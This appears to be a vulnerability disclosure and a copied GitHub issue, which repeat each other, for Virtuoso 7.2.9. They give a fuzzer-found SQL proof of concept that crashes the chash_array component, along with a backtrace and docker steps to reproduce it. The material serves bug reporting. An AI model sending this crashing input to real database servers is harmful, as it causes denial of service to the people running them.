An issue in the chash_array component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1(x INTEGER UNIQUE);
CREATE TABLE k(v varchar(255), excluded varchar(255));
INSERT INTO t1(x, x, x, x, x, x, x) VALUES(16183,15638,6,0,5,2,0);
SELECT 'one', t1.* FROM t1 LEFT JOIN k ON t1.x=k.v WHERE k.v IS NULL;
```
backtrace:
```c
#0 0x4257c4 (chash_array+0x834)
#1 0x43932f (hash_source_chash_input+0x6df)
#2 0x7ac43e (qn_input+0x3ce)
#3 0x7ac8a6 (qn_send_output+0x236)
#4 0x81e26d (set_ctr_vec_input+0x94d)
#5 0x7ac43e (qn_input+0x3ce)
#6 0x7acb6f (qn_ts_send_output+0x23f)
#7 0x7b247e (table_source_input+0x16ee)
#8 0x7ac43e (qn_input+0x3ce)
#9 0x7ac8a6 (qn_send_output+0x236)
#10 0x44c34e (chash_fill_input+0x13e)
#11 0x535d6f (hash_fill_node_input+0xef)
#12 0x7ac43e (qn_input+0x3ce)
#13 0x7ac8a6 (qn_send_output+0x236)
#14 0x81e26d (set_ctr_vec_input+0x94d)
#15 0x7ac43e (qn_input+0x3ce)
#16 0x7bdc6e (qr_exec+0x11ee)
#17 0x7cb446 (sf_sql_execute+0x11a6)
#18 0x7cbf4e (sf_sql_execute_w+0x17e)
#19 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#20 0xe1f01c (future_wrapper+0x3fc)
#21 0xe2691e (_thread_boot+0x11e)
#22 0x7fac44860609 (start_thread+0xd9)
#23 0x7fac44630133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at chash_array
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at chash_array
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1(x INTEGER UNIQUE);
CREATE TABLE k(v varchar(255), excluded varchar(255));
INSERT INTO t1(x, x, x, x, x, x, x) VALUES(16183,15638,6,0,5,2,0);
SELECT 'one', t1.* FROM t1 LEFT JOIN k ON t1.x=k.v WHERE k.v IS NULL;
```
backtrace:
```c
#0 0x4257c4 (chash_array+0x834)
#1 0x43932f (hash_source_chash_input+0x6df)
#2 0x7ac43e (qn_input+0x3ce)
#3 0x7ac8a6 (qn_send_output+0x236)
#4 0x81e26d (set_ctr_vec_input+0x94d)
#5 0x7ac43e (qn_input+0x3ce)
#6 0x7acb6f (qn_ts_send_output+0x23f)
#7 0x7b247e (table_source_input+0x16ee)
#8 0x7ac43e (qn_input+0x3ce)
#9 0x7ac8a6 (qn_send_output+0x236)
#10 0x44c34e (chash_fill_input+0x13e)
#11 0x535d6f (hash_fill_node_input+0xef)
#12 0x7ac43e (qn_input+0x3ce)
#13 0x7ac8a6 (qn_send_output+0x236)
#14 0x81e26d (set_ctr_vec_input+0x94d)
#15 0x7ac43e (qn_input+0x3ce)
#16 0x7bdc6e (qr_exec+0x11ee)
#17 0x7cb446 (sf_sql_execute+0x11a6)
#18 0x7cbf4e (sf_sql_execute_w+0x17e)
#19 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#20 0xe1f01c (future_wrapper+0x3fc)
#21 0xe2691e (_thread_boot+0x11e)
#22 0x7fac44860609 (start_thread+0xd9)
#23 0x7fac44630133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---
